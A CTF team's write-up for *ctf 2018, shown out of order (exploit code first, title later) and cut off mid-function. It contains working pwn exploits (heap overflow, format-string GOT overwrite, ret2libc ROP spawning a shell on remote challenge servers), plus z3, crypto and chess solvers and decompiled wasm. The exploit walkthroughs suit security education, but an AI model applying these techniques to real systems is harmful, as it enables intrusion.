')ans = r.recvuntil('\n')[:-1]# ans = '4dff4cca83f525f0053b69ee61571a04a561293992c3b3ba9cd3dc785c1def16'x = string.letters + string.digitsb = 0for c1 in x: for c2 in x: for c3 in x: for c4 in x: if hashlib.sha256(c1+c2+c3+c4+suffix).hexdigest() == ans: print c1+c2+c3+c4 r.sendline(c1+c2+c3+c4) b = 1 break if b == 1: break if b == 1: break if b == 1: break# r.interactive() def new_heap(size,cont): r.sendlineafter('>> ','1') r.sendlineafter(' :',str(size)) r.sendafter(' :',cont) def edit(idx,cont): r.sendlineafter('>> ','2') r.sendlineafter(' :',str(idx)) r.sendafter(' :',cont) def delete(idx): r.sendafter('>> ','3') r.sendafter(' :',str(idx)) new_heap(0x400,'a'*0x400) #0new_heap(0x400,'a'*0x400) #1new_heap(0x400,'a'*0x400) #2new_heap(0x400,'a'*0x400) #3 # delete(1)# delete(0)# r.interactive()edit(0,'a'*0x400+'\x01\x00')edit(1,'a'*0x400+'\x21\x08')delete(0)delete(2)edit(1,'a'*0x400+'\xa1')# new_heap(0x90)delete(1)# r.interactive()# edit(1,p64(0)+p64(0x10000))# delete(2)printf_plt = 0x4008a0addr = 0x602068new_heap(0x810,'%13$p\n\x00'+'a'*(0x400-7)+p64(0)+p64(0x410)+p64(addr)) #0new_heap(0x400,'a') #1new_heap(0x400,p64(printf_plt)) #2delete(0)l = int(r.recvuntil('\n').strip(),16)# print hex(l)libc = l - 0x20830system = libc + 0x45390print hex(libc)print hex(system) def fmt_att(fmt): new_heap(0x100, fmt) # 0 delete(0)# r.interactive()# get address here# r.interactive()\n# 15 & 41 & 42fmt_att('%15$p\n\n')base = int(r.recvuntil('\n').strip(),16)print hex(base)fmt_att('%15$s\n\n')k = u64(r.recvuntil('\n')[:-1].ljust(8,'\x00'))print hex(k)attack_point = base + 8fmt_att("%"+str((attack_point+2)&0xffff)+'c%15$hn')fmt_att("%"+str(0x60)+'c%41$hn')fmt_att("%"+str(attack_point&0xffff)+'c%15$hn')fmt_att("%"+str(0x20e0)+'c%41$hn')# fmt_att("%42$s\n\n")# k = u64(r.recvuntil('\n')[:-1].ljust(8,'\x00'))# print hex(k)# print hex(system&0xffff)fmt_att('%'+str(0x2060)+'c%42$hn')fmt_att("%"+str(0x20e2)+'c%41$hn')fmt_att('%'+str(0x60)+'c%42$hn')edit(4,p64(system))# fmt_att("%42$p")# new_heap(0x100,'%15$ln')#0# delete(0)r.interactive() ``` ## web ### simpleweb (how2hack)I use Z3 to find the solution for this challenge.```python#!/usr/bin/env python from z3 import * value = [BitVec("val_%d" % i, 32) for i in range(5)] s = Solver()for i in range(5): s.add(value[i] >= 0) s.add(value[i] <= 127) s.add(((((value[0]+value[1])*0x100+(value[1]+value[2]))*0x100+(value[2]+value[3]))*0x100+(value[3]+value[4])) == 0x23332333) if s.check() != sat: print "unsat"else: while s.check() == sat: print s.model() s.add(Or(value[0] != s.model()[value[0]], value[1] != s.model()[value[1]], value[2] != s.model()[value[2]], value[3] != s.model()[value[3]], value[4] != s.model()[value[4]])) '''[val_3 = 18, val_2 = 17, val_0 = 1, val_1 = 34, val_4 = 33][val_4 = 32, val_1 = 35, val_0 = 0, val_2 = 16, val_3 = 19][val_4 = 48, val_1 = 19, val_0 = 16, val_2 = 32, val_3 = 3][val_4 = 50, val_1 = 17, val_0 = 18, val_2 = 34, val_3 = 1][val_4 = 49, val_1 = 18, val_0 = 17, val_2 = 33, val_3 = 2][val_4 = 51, val_1 = 16, val_0 = 19, val_2 = 35, val_3 = 0][val_4 = 44, val_1 = 23, val_0 = 12, val_2 = 28, val_3 = 7][val_4 = 46, val_1 = 21, val_0 = 14, val_2 = 30, val_3 = 5][val_4 = 45, val_1 = 22, val_0 = 13, val_2 = 29, val_3 = 6][val_4 = 47, val_1 = 20, val_0 = 15, val_2 = 31, val_3 = 4][val_4 = 40, val_1 = 27, val_0 = 8, val_2 = 24, val_3 = 11][val_4 = 42, val_1 = 25, val_0 = 10, val_2 = 26, val_3 = 9][val_4 = 41, val_1 = 26, val_0 = 9, val_2 = 25, val_3 = 10][val_4 = 43, val_1 = 24, val_0 = 11, val_2 = 27, val_3 = 8][val_4 = 36, val_1 = 31, val_0 = 4, val_2 = 20, val_3 = 15][val_4 = 38, val_1 = 29, val_0 = 6, val_2 = 22, val_3 = 13][val_4 = 37, val_1 = 30, val_0 = 5, val_2 = 21, val_3 = 14][val_4 = 39, val_1 = 28, val_0 = 7, val_2 = 23, val_3 = 12][val_4 = 34, val_1 = 33, val_0 = 2, val_2 = 18, val_3 = 17][val_4 = 35, val_1 = 32, val_0 = 3, val_2 = 19, val_3 = 16]'''```There are multiple solutions. However, Javascript Array.sort() is a weird function... It sort the array in alphabetical order even for numbers, which means '12' < '4'. So the only solution is `[val_4 = 47, val_1 = 20, val_0 = 15, val_2 = 31, val_3 = 4]`. Flag: `*ctf{web_chal_made_by_binary_players_lol}` ## misc ### welcome (bookgin) Install: http://www.ecs.umass.edu/ece/koren/architecture/Simplescalar/SimpleScalar_introduction.htmRun: `./sim-fast ../1355a2b7-44dc-451f-a826-6debe8467923.welcome`Flag: `*ctf{we1_t0_*ctf}` ### warmup (sces60107) It's a easy challenge ```python=from pwn import *import osr=remote("47.91.226.78", 10006)#env = {'LD_PRELOAD': os.path.join(os.getcwd(),'./libc.so.6-56d992a0342a67a887b8dcaae381d2cc51205253')}#r=process("./warmup",env=env)#context.terminal = ['gnome-terminal', '-x', 'sh', '-c']#gdb.attach(proc.pidof(r)[0],'b *'+hex(0x400961)+'\nc\n') poprdi=0x400a63main=0x4008b9putsgot=0x600fa8putsplt=0x4006d8 # you can read whatever you wantprint r.recvuntil("What are you looking for?")r.sendline(str(putsgot))print r.recvline()libbase=int(r.recvline(),16)-0x6f690 # compute system addresssystem=libbase+0x45390poprdi=libbase+0x21102binsh=libbase+0x18cd57print hex(libbase) # Easy stack overflowprint r.recvuntil("What's your name?")r.sendline("a"*40+p64(poprdi)+p64(binsh)+p64(system)) r.interactive()# *ctf{h0pe_th1s_e4zy_gam3_warm_y0u_up}``` ## ppc ### magic_number (b04902036) simply use a binary search ```python#!/usr/bin/python from pwn import * host = '47.89.18.224'port = 10011 r = remote(host, port)count = 0while(1): count += 1 r.recvuntil(': n = ') n = int(r.recvuntil('\n').strip()) dic = dict() send_num = 0 ans = [] same = 0 same_ans = 0 for i in range(n): if(same > 0): same -= 1 for item in total: dic[(item[0], item[1])] -= 1 ans.append(same_ans) continue total = set() start = 0 end = 1024 prenum = n - i while(1): mid = (start + end) // 2 if((start, mid) in dic): num = dic[(start, mid)] else: send_num += 1 r.sendline('? ' + str(start) + ' ' + str(mid)) num = int(r.recvuntil('\n').strip()) dic[(start, mid)] = num if(num > 0): prenum = num total.add((start, mid)) dic[(start, mid)] -= 1 end = mid if(mid - start == 1): same = num - 1 same_ans = start ans.append(start) break else: start = mid if(end - mid == 1): same = prenum - 1 same_ans = mid ans.append(mid) break msg = '!' for i in ans: msg += ' ' + str(i) r.sendline(msg) if(count == 10): breakr.interactive()``` Flag: *ctf{magic algorithm produces magic numbers!} ### Chess Master (bookgin) We use WCCC 2017 champion komodo as our engine. The code is very dirty. We use wireshark to record the last packet and get flag. ```python#!/usr/bin/env python3# Python 3.6.4 from pwn import *import stringimport hashlibimport chess # https://github.com/niklasf/python-chessimport chess.uci as uci komodo = './komodo-9.02-linux' def PoW(): r.recvuntil('sha256(xxxx+') x = r.recvuntil(') ==', drop=True).decode() y = r.recvline().decode() y = y[:-1] print(x) print(y) s = string.ascii_letters+string.digits for i in s: for j in s: for k in s: for l in s: h = hashlib.sha256() guess = (i+j+k+l+x).encode() h.update(guess) z = h.hexdigest() if z == y: print(guess) r.sendline(i+j+k+l) break def parseBoard(s, rnd=0, turn='w'): fen = '' cnt = 0 for c in (s.strip() + '\n').replace(' ', '').replace('\n', '/'): if c == '.': cnt += 1 else: if cnt != 0: fen += str(cnt) cnt = 0 fen += c fen = fen.strip('/') return chess.Board(f"{fen} {turn} KQkq - 3 {rnd}") engine = uci.popen_engine(komodo)engine.uci()print(f'loaded "{engine.name}"') r = remote('47.89.11.82', 10012)PoW()print('[+] PoW Done')r.recvuntil('game starts\n')engine.ucinewgame() win_times = 0 # Use wireshark to record packet and get flag XDwhile True: print(win_times) buf = r.recvuntil('input your move(like e2e4):', drop=True).decode() if 'you win' in buf: win_times += 1 buf = buf[buf.find('game starts\n')+len('game starts\n'):] raw_board = buf board = parseBoard(raw_board) engine.position(board) best_move, ponder_move = engine.go(movetime=50) r.sendline(str(best_move)) #buf = r.recv(16) #if b'win' in buf: # break #print(buf) engine.quit()``` Flag: `*ctf{chess_is_s0_ea5y}` ## crypto ### primitive (sasdf) ```python=from pwn import *import numpy as npimport itertools as itimport stringfrom hashlib import sha256import multiprocessing as mpfrom PoW import remote # Connect to game server & PoWr = remote('47.75.4.252', 10001) # Cipher operationsdef add(a, b): return (a + b) & 0xff def rot(a, b): return (a>>(8-b) & 0xff) | ((a<<b) & 0xff) def xor(a, b): return (a ^ b) def msb(a): return a & 0x80 def mask(a, b): return a & (0xff << b) & 0x7f msk = 0 # How many bits at the end is OKsft = 0 # How many times we rotate the bytes. def setMSB(): global msk, ct, pt while True: # Find which char's MSB needs to be flip. flip = [msb(p) != msb(c) for p, c in zip(pt, ct)] if not any(flip): return # Get first char that needs to be flip. idx = next(i for i, e in enumerate(flip) if e) cur = mask(ct[idx], msk) # Make sure we won't flip some MSB that shouldn't be flip. while any(mask(c, msk) == cur for c, f in zip(ct, flip) if not f): if msk <= 0: raise ValueError('Conflict') msk -= 1 cur = mask(ct[idx], msk) # Make all bits in range [msk, 7] of target char to be 1. cur = mask(~cur, msk) assert(cur >= 0 and cur < 256) r.sendline(('2 %d' % cur).rjust(9, '0')) # Use carry to flip MSB of target char. assert((1 << msk) >= 0 and (1 << msk) < 256) r.sendline(('0 %d' % (1<
# *ctf 2018 **It's recommended to read our responsive [web version](https://balsn.tw/ctf_writeup/20180421-*ctf/) of this writeup.** - [*ctf 2018](#ctf-2018) - [rev](#rev) - [wasm (sces60107)](#wasm-sces60107) - [milktea (sasdf)](#milktea-sasdf) - [pwn](#pwn) - [babystack (sces60107)](#babystack-sces60107) - [note (sces60107)](#note-sces60107) - [young_heap (4w4rd sces60107)](#young_heap-4w4rd-sces60107) - [web](#web) - [simpleweb (how2hack)](#simpleweb-how2hack) - [misc](#misc) - [welcome (bookgin)](#welcome-bookgin) - [warmup (sces60107)](#warmup-sces60107) - [ppc](#ppc) - [magic_number (b04902036)](#magic_number-b04902036) - [Chess Master (bookgin)](#chess-master-bookgin) - [crypto](#crypto) - [primitive (sasdf)](#primitive-sasdf) - [ssss (sasdf)](#ssss-sasdf) - [ssss2 (sasdf)](#ssss2-sasdf) The official repository is [here](https://github.com/sixstars/starctf2018) ## rev ### wasm (sces60107) I leverage [wasm2c](https://github.com/WebAssembly/wabt) to decomplie this wasm Then I found some interesting function and data ```c=static const u8 data_segment_data_0[] = { 0x99, 0x00, 0x00, 0x00, 0x77, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0xbd, 0x00, 0x00, 0x00, 0x2f, 0x00, 0x00, 0x00, 0x6c, 0x00, 0x00, 0x00, 0x87, 0x00, 0x00, 0x00, 0x35, 0x00, 0x00, 0x00, 0x55, 0x00, 0x00, 0x00, 0x22, 0x00, 0x00, 0x00, 0x79, 0x00, 0x00, 0x00, 0x1d, 0x00, 0x00, 0x00, 0xf6, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x2c, 0x00, 0x00, 0x00, 0x8c, 0x00, 0x00, 0x00, 0xb9, 0x00, 0x00, 0x00, 0xd6, 0x00, 0x00, 0x00, 0x13, 0x00, 0x00, 0x00, 0x93, 0x00, 0x00, 0x00, 0xcb, 0x00, 0x00, 0x00, 0xd8, 0x00, 0x00, 0x00, 0x31, 0x00, 0x00, 0x00, 0xe3, 0x00, 0x00, 0x00, 0x77, 0x65, 0x62, 0x61, 0x73, 0x6d, 0x69, 0x6e, 0x74, 0x65, 0x72, 0x73, 0x74, 0x69, 0x6e, 0x67, }; static void init_memory(void) { memcpy(&((*Z_envZ_memory).data[(*Z_envZ_memoryBaseZ_i)]), data_segment_data_0, 112);}static void init_table(void) { uint32_t offset; offset = (*Z_envZ_tableBaseZ_i); (*Z_envZ_table).data[offset + 0] = (wasm_rt_elem_t){func_types[6], (wasm_rt_anyfunc_t)(&f15)}; (*Z_envZ_table).data[offset + 1] = (wasm_rt_elem_t){func_types[4], (wasm_rt_anyfunc_t)(&_EncryptCBC)}; (*Z_envZ_table).data[offset + 2] = (wasm_rt_elem_t){func_types[1], (wasm_rt_anyfunc_t)(&_check)}; (*Z_envZ_table).data[offset + 3] = (wasm_rt_elem_t){func_types[6], (wasm_rt_anyfunc_t)(&f15)};}static void _EncryptCBC(u32 p0, u32 p1, u32 p2, u32 p3) { u32 l0 = 0, l1 = 0, l2 = 0, l3 = 0, l4 = 0, l5 = 0, l6 = 0, l7 = 0, l8 = 0, l9 = 0, l10 = 0, l11 = 0, l12 = 0, l13 = 0, l14 = 0, l15 = 0, l16 = 0, l17 = 0, l18 = 0, l19 = 0, l20 = 0, l21 = 0, l22 = 0, l23 = 0, l24 = 0, l25 = 0, l26 = 0, l27 = 0, l28 = 0, l29 = 0, l30 = 0, l31 = 0, l32 = 0, l33 = 0, l34 = 0, l35 = 0, l36 = 0, l37 = 0, l38 = 0, l39 = 0, l40 = 0, l41 = 0; FUNC_PROLOGUE; u32 i0, i1; i0 = g10; l41 = i0; i0 = g10; i1 = 48u; i0 += i1; g10 = i0; i0 = g10; i1 = g11; i0 = (u32)((s32)i0 >= (s32)i1); if (i0) { i0 = 48u; (*Z_envZ_abortStackOverflowZ_vi)(i0); } i0 = l41; i1 = 16u; i0 += i1; l38 = i0; i0 = l41; l39 = i0; i0 = p0; l30 = i0; l30=p0 i0 = p1; l35 = i0; l35=p1 i0 = p2; l36 = i0; l36=p2 i0 = p3; l37 = i0; l37=p3 i0 = l37; l0 = i0; i0 = l0; i0 = f9(i0); round key l1 = i0; i0 = l39; i1 = l1; i32_store(Z_envZ_memory, (u64)(i0), i1); i0 = l37; l2 = i0; i0 = l2; i1 = 4u; i0 += i1; l3 = i0; i0 = l3; i0 = f9(i0); l4 = i0; i0 = l39; i1 = 4u; i0 += i1; l5 = i0; i0 = l5; i1 = l4; i32_store(Z_envZ_memory, (u64)(i0), i1); i0 = l37; l6 = i0; i0 = l6; i1 = 8u; i0 += i1; l7 = i0; i0 = l7; i0 = f9(i0); l8 = i0; i0 = l39; i1 = 8u; i0 += i1; l9 = i0; i0 = l9; i1 = l8; i32_store(Z_envZ_memory, (u64)(i0), i1); i0 = l37; l10 = i0; i0 = l10; i1 = 12u; i0 += i1; l11 = i0; i0 = l11; i0 = f9(i0); l12 = i0; i0 = l39; i1 = 12u; i0 += i1; l13 = i0; i0 = l13; i1 = l12; i32_store(Z_envZ_memory, (u64)(i0), i1); L1: i0 = l36; l14 = i0; i0 = l14; i1 = 8u; i0 = (u32)((s32)i0 >= (s32)i1); l15 = i0; i0 = l15; i0 = !(i0); if (i0) { goto B2; } i0 = l35; l16 = i0; i0 = l16; i0 = f9(i0); l17 = i0; i0 = l38; i1 = l17; i32_store(Z_envZ_memory, (u64)(i0), i1); i0 = l35; l18 = i0; i0 = l18; i1 = 4u; i0 += i1; l19 = i0; i0 = l19; i0 = f9(i0); l20 = i0; i0 = l38; i1 = 4u; i0 += i1; l21 = i0; i0 = l21; i1 = l20; i32_store(Z_envZ_memory, (u64)(i0), i1); i0 = l38; i1 = l39; f10(i0, i1); i0 = l30; l22 = i0; i0 = l38; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l23 = i0; i0 = l22; i1 = l23; f11(i0, i1); i0 = l30; l24 = i0; i0 = l24; i1 = 4u; i0 += i1; l25 = i0; i0 = l38; i1 = 4u; i0 += i1; l26 = i0; i0 = l26; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l27 = i0; i0 = l25; i1 = l27; f11(i0, i1); i0 = l35; l28 = i0; i0 = l28; i1 = 8u; i0 += i1; l29 = i0; i0 = l29; l35 = i0; i0 = l30; l31 = i0; i0 = l31; i1 = 8u; i0 += i1; l32 = i0; i0 = l32; l30 = i0; i0 = l36; l33 = i0; i0 = l33; i1 = 8u; i0 -= i1; l34 = i0; i0 = l34; l36 = i0; goto L1; B2:; i0 = l41; g10 = i0; goto Bfunc; Bfunc:; FUNC_EPILOGUE;} static u32 f9(u32 p0) { u32 l0 = 0, l1 = 0, l2 = 0, l3 = 0, l4 = 0, l5 = 0, l6 = 0, l7 = 0, l8 = 0, l9 = 0, l10 = 0, l11 = 0, l12 = 0, l13 = 0, l14 = 0, l15 = 0, l16 = 0, l17 = 0, l18 = 0, l19 = 0, l20 = 0, l21 = 0, l22 = 0, l23 = 0; FUNC_PROLOGUE; u32 i0, i1; i0 = g10; l23 = i0; i0 = g10; i1 = 16u; i0 += i1; g10 = i0; i0 = g10; i1 = g11; i0 = (u32)((s32)i0 >= (s32)i1); if (i0) { i0 = 16u; (*Z_envZ_abortStackOverflowZ_vi)(i0); } i0 = p0; l0 = i0; i0 = l0; l11 = i0; i0 = l11; l11=p0 i0 = i32_load8_s(Z_envZ_memory, (u64)(i0)); l15 = i0; i0 = l15; i1 = 255u; i0 &= i1; l16 = i0; i0 = l0; l17 = i0; i0 = l17; i1 = 1u; i0 += i1; l18 = i0; i0 = l18; i0 = i32_load8_s(Z_envZ_memory, (u64)(i0)); l19 = i0; i0 = l19; i1 = 255u; i0 &= i1; l20 = i0; i0 = l20; i1 = 8u; i0 <<= (i1 & 31); l21 = i0; i0 = l16; i1 = l21; i0 |= i1; l1 = i0; i0 = l0; l2 = i0; i0 = l2; i1 = 2u; i0 += i1; l3 = i0; i0 = l3; i0 = i32_load8_s(Z_envZ_memory, (u64)(i0)); l4 = i0; i0 = l4; i1 = 255u; i0 &= i1; l5 = i0; i0 = l5; i1 = 16u; i0 <<= (i1 & 31); l6 = i0; i0 = l1; i1 = l6; i0 |= i1; l7 = i0; i0 = l0; l8 = i0; i0 = l8; i1 = 3u; i0 += i1; l9 = i0; i0 = l9; i0 = i32_load8_s(Z_envZ_memory, (u64)(i0)); l10 = i0; i0 = l10; i1 = 255u; i0 &= i1; l12 = i0; i0 = l12; i1 = 24u; i0 <<= (i1 & 31); l13 = i0; i0 = l7; i1 = l13; i0 |= i1; l14 = i0; i0 = l23; g10 = i0; i0 = l14; goto Bfunc; Bfunc:; FUNC_EPILOGUE; return i0;} static void f10(u32 p0, u32 p1) { u32 l0 = 0, l1 = 0, l2 = 0, l3 = 0, l4 = 0, l5 = 0, l6 = 0, l7 = 0, l8 = 0, l9 = 0, l10 = 0, l11 = 0, l12 = 0, l13 = 0, l14 = 0, l15 = 0, l16 = 0, l17 = 0, l18 = 0, l19 = 0, l20 = 0, l21 = 0, l22 = 0, l23 = 0, l24 = 0, l25 = 0, l26 = 0, l27 = 0, l28 = 0, l29 = 0, l30 = 0, l31 = 0, l32 = 0, l33 = 0, l34 = 0, l35 = 0, l36 = 0, l37 = 0, l38 = 0, l39 = 0, l40 = 0, l41 = 0, l42 = 0, l43 = 0, l44 = 0, l45 = 0, l46 = 0, l47 = 0, l48 = 0, l49 = 0, l50 = 0, l51 = 0, l52 = 0, l53 = 0, l54 = 0, l55 = 0, l56 = 0, l57 = 0, l58 = 0, l59 = 0, l60 = 0, l61 = 0, l62 = 0; FUNC_PROLOGUE; u32 i0, i1; i0 = g10; l62 = i0; i0 = g10; i1 = 32u; i0 += i1; g10 = i0; i0 = g10; i1 = g11; i0 = (u32)((s32)i0 >= (s32)i1); if (i0) { i0 = 32u; (*Z_envZ_abortStackOverflowZ_vi)(i0); } i0 = p0; l10 = i0; i0 = p1; l21 = i0; i0 = 2654435769u; l32 = i0; i0 = 0u; l43 = i0; i0 = 0u; l54 = i0; L1: i0 = l54; l58 = i0; i0 = l58; i1 = 32u; i0 = i0 < i1; l59 = i0; i0 = l59; i0 = !(i0); if (i0) { goto B2; } i0 = l32; l60 = i0; i0 = l43; l0 = i0; i0 = l0; i1 = l60; i0 += i1; l1 = i0; i0 = l1; l43 = i0; i0 = l10; l2 = i0; i0 = l2; i1 = 4u; i0 += i1; l3 = i0; i0 = l3; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l4 = i0; i0 = l4; i1 = 3u; i0 <<= (i1 & 31); l5 = i0; i0 = l21; l6 = i0; i0 = l6; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l7 = i0; i0 = l5; i1 = l7; i0 ^= i1; l8 = i0; i0 = l10; l9 = i0; i0 = l9; i1 = 4u; i0 += i1; l11 = i0; i0 = l11; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l12 = i0; i0 = l43; l13 = i0; i0 = l12; i1 = l13; i0 += i1; l14 = i0; i0 = l8; i1 = l14; i0 ^= i1; l15 = i0; i0 = l10; l16 = i0; i0 = l16; i1 = 4u; i0 += i1; l17 = i0; i0 = l17; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l18 = i0; i0 = l18; i1 = 5u; i0 >>= (i1 & 31); l19 = i0; i0 = l21; l20 = i0; i0 = l20; i1 = 4u; i0 += i1; l22 = i0; i0 = l22; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l23 = i0; i0 = l19; i1 = l23; i0 += i1; l24 = i0; i0 = l15; i1 = l24; i0 ^= i1; l25 = i0; i0 = l10; l26 = i0; i0 = l26; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l27 = i0; i0 = l27; i1 = l25; i0 += i1; l28 = i0; i0 = l26; i1 = l28; i32_store(Z_envZ_memory, (u64)(i0), i1); i0 = l10; l29 = i0; i0 = l29; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l30 = i0; i0 = l30; i1 = 3u; i0 <<= (i1 & 31); l31 = i0; i0 = l21; l33 = i0; i0 = l33; i1 = 8u; i0 += i1; l34 = i0; i0 = l34; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l35 = i0; i0 = l31; i1 = l35; i0 ^= i1; l36 = i0; i0 = l10; l37 = i0; i0 = l37; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l38 = i0; i0 = l43; l39 = i0; i0 = l38; i1 = l39; i0 += i1; l40 = i0; i0 = l36; i1 = l40; i0 ^= i1; l41 = i0; i0 = l10; l42 = i0; i0 = l42; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l44 = i0; i0 = l44; i1 = 5u; i0 >>= (i1 & 31); l45 = i0; i0 = l21; l46 = i0; i0 = l46; i1 = 12u; i0 += i1; l47 = i0; i0 = l47; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l48 = i0; i0 = l45; i1 = l48; i0 += i1; l49 = i0; i0 = l41; i1 = l49; i0 ^= i1; l50 = i0; i0 = l10; l51 = i0; i0 = l51; i1 = 4u; i0 += i1; l52 = i0; i0 = l52; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l53 = i0; i0 = l53; i1 = l50; i0 += i1; l55 = i0; i0 = l52; i1 = l55; i32_store(Z_envZ_memory, (u64)(i0), i1); i0 = l54; l56 = i0; i0 = l56; i1 = 1u; i0 += i1; l57 = i0; i0 = l57; l54 = i0; goto L1; B2:; i0 = l62; g10 = i0; goto Bfunc; Bfunc:; FUNC_EPILOGUE;} static void f11(u32 p0, u32 p1) { u32 l0 = 0, l1 = 0, l2 = 0, l3 = 0, l4 = 0, l5 = 0, l6 = 0, l7 = 0, l8 = 0, l9 = 0, l10 = 0, l11 = 0, l12 = 0, l13 = 0, l14 = 0, l15 = 0, l16 = 0, l17 = 0, l18 = 0, l19 = 0, l20 = 0, l21 = 0; FUNC_PROLOGUE; u32 i0, i1; i0 = g10; l21 = i0; i0 = g10; i1 = 16u; i0 += i1; g10 = i0; i0 = g10; i1 = g11; i0 = (u32)((s32)i0 >= (s32)i1); if (i0) { i0 = 16u; (*Z_envZ_abortStackOverflowZ_vi)(i0); } i0 = p0; l10 = i0; i0 = p1; l13 = i0; i0 = l13; l14 = i0; i0 = l14; i1 = 255u; i0 &= i1; l15 = i0; i0 = l10; l16 = i0; i0 = l16; i1 = l15; i32_store8(Z_envZ_memory, (u64)(i0), i1); i0 = l13; l17 = i0; i0 = l17; i1 = 8u; i0 >>= (i1 & 31); l18 = i0; i0 = l18; i1 = 255u; i0 &= i1; l19 = i0; i0 = l10; l0 = i0; i0 = l0; i1 = 1u; i0 += i1; l1 = i0; i0 = l1; i1 = l19; i32_store8(Z_envZ_memory, (u64)(i0), i1); i0 = l13; l2 = i0; i0 = l2; i1 = 16u; i0 >>= (i1 & 31); l3 = i0; i0 = l3; i1 = 255u; i0 &= i1; l4 = i0; i0 = l10; l5 = i0; i0 = l5; i1 = 2u; i0 += i1; l6 = i0; i0 = l6; i1 = l4; i32_store8(Z_envZ_memory, (u64)(i0), i1); i0 = l13; l7 = i0; i0 = l7; i1 = 24u; i0 >>= (i1 & 31); l8 = i0; i0 = l8; i1 = 255u; i0 &= i1; l9 = i0; i0 = l10; l11 = i0; i0 = l11; i1 = 3u; i0 += i1; l12 = i0; i0 = l12; i1 = l9; i32_store8(Z_envZ_memory, (u64)(i0), i1); i0 = l21; g10 = i0; goto Bfunc; Bfunc:; FUNC_EPILOGUE;} static u32 _check(u32 p0) { u32 l0 = 0, l1 = 0, l2 = 0, l3 = 0, l4 = 0, l5 = 0, l6 = 0, l7 = 0, l8 = 0, l9 = 0, l10 = 0, l11 = 0, l12 = 0, l13 = 0, l14 = 0, l15 = 0, l16 = 0, l17 = 0, l18 = 0, l19 = 0, l20 = 0, l21 = 0, l22 = 0, l23 = 0, l24 = 0, l25 = 0, l26 = 0, l27 = 0, l28 = 0, l29 = 0, l30 = 0, l31 = 0, l32 = 0, l33 = 0, l34 = 0, l35 = 0, l36 = 0, l37 = 0, l38 = 0; FUNC_PROLOGUE; u32 i0, i1, i2, i3; i0 = g10; l36 = i0; i0 = g10; i1 = 160u; i0 += i1; g10 = i0; i0 = g10; i1 = g11; i0 = (u32)((s32)i0 >= (s32)i1); if (i0) { i0 = 160u; (*Z_envZ_abortStackOverflowZ_vi)(i0); } i0 = l36; i1 = 144u; i0 += i1; l22 = i0; i0 = l36; i1 = 120u; i0 += i1; l28 = i0; i0 = l36; i1 = 8u; i0 += i1; l30 = i0; i0 = p0; l11 = i0; i0 = l11; l32 = i0; i0 = l32; i0 = (*Z_envZ__strlenZ_ii)(i0); l33 = i0; i0 = l33; i1 = 24u; i0 = i0 != i1; l1 = i0; i0 = l1; if (i0) { i0 = 0u; l0 = i0; i0 = l0; l27 = i0; i0 = l36; g10 = i0; i0 = l27; goto Bfunc; } i0 = l22; l34 = i0; i0 = (*Z_envZ_memoryBaseZ_i); i1 = 96u; i0 += i1; l37 = i0; i0 = l34; 144 i1 = 16u; i0 += i1; l38 = i0; L2: i0 = l34; i1 = l37; i1 = i32_load8_s(Z_envZ_memory, (u64)(i1)); i32_store8(Z_envZ_memory, (u64)(i0), i1); i0 = l34; i1 = 1u; i0 += i1; l34 = i0; i0 = l37; i1 = 1u; i0 += i1; l37 = i0; i0 = l34; i1 = l38; i0 = (u32)((s32)i0 < (s32)i1); if (i0) {goto L2;} i0 = l11; l2 = i0; i0 = l28; 120 i1 = l2; plaintext i2 = 4u; 4 i3 = l22; 144 key? _EncryptCBC(i0, i1, i2, i3); i0 = 0u; l29 = i0; i0 = l30; l34 = i0; i0 = (*Z_envZ_memoryBaseZ_i); i1 = 0u; i0 += i1; l37 = i0; i0 = l34; i1 = 96u; i0 += i1; l38 = i0; L3: i0 = l34; i1 = l37; i1 = i32_load(Z_envZ_memory, (u64)(i1)); i32_store(Z_envZ_memory, (u64)(i0), i1); i0 = l34; i1 = 4u; i0 += i1; l34 = i0; i0 = l37; i1 = 4u; i0 += i1; l37 = i0; i0 = l34; i1 = l38; i0 = (u32)((s32)i0 < (s32)i1); if (i0) {goto L3;} i0 = 0u; l29 = i0; L4: i0 = l29; l3 = i0; i0 = l3; i1 = 3u; i0 = (u32)((s32)i0 < (s32)i1); l4 = i0; i0 = l4; i0 = !(i0); if (i0) { i0 = 11u; l35 = i0; goto B5; } i0 = 0u; l31 = i0; L7: i0 = l31; l5 = i0; i0 = l5; i1 = 8u; i0 = (u32)((s32)i0 < (s32)i1); l6 = i0; i0 = l29; l7 = i0; i0 = l6; i0 = !(i0); if (i0) { goto B8; } i0 = l7; i1 = 3u; i0 <<= (i1 & 31); l8 = i0; i0 = l31; l9 = i0; i0 = l8; i1 = l9; i0 += i1; l10 = i0; i0 = l28; i1 = l10; i0 += i1; l12 = i0; i0 = l12; i0 = i32_load8_s(Z_envZ_memory, (u64)(i0)); l13 = i0; i0 = l13; i1 = 255u; i0 &= i1; l14 = i0; i0 = l29; l15 = i0; i0 = l15; i1 = 3u; i0 <<= (i1 & 31); l16 = i0; i0 = l16; i1 = 7u; i0 += i1; l17 = i0; i0 = l31; l18 = i0; i0 = l17; i1 = l18; i0 -= i1; l19 = i0; i0 = l30; cipher i1 = l19; i2 = 2u; i1 <<= (i2 & 31); i0 += i1; l20 = i0; i0 = l20; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l21 = i0; i0 = l14; i1 = l21; cipher[pos] i0 = i0 != i1; l23 = i0; i0 = l23; if (i0) { i0 = 8u; l35 = i0; goto B5; } i0 = l31; l24 = i0; i0 = l24; i1 = 1u; i0 += i1; l25 = i0; i0 = l25; l31 = i0; goto L7; B8:; i0 = l7; i1 = 1u; i0 += i1; l26 = i0; i0 = l26; l29 = i0; goto L4; B5:; i0 = l35; i1 = 8u; i0 = i0 == i1; if (i0) { i0 = 0u; l0 = i0; i0 = l0; l27 = i0; i0 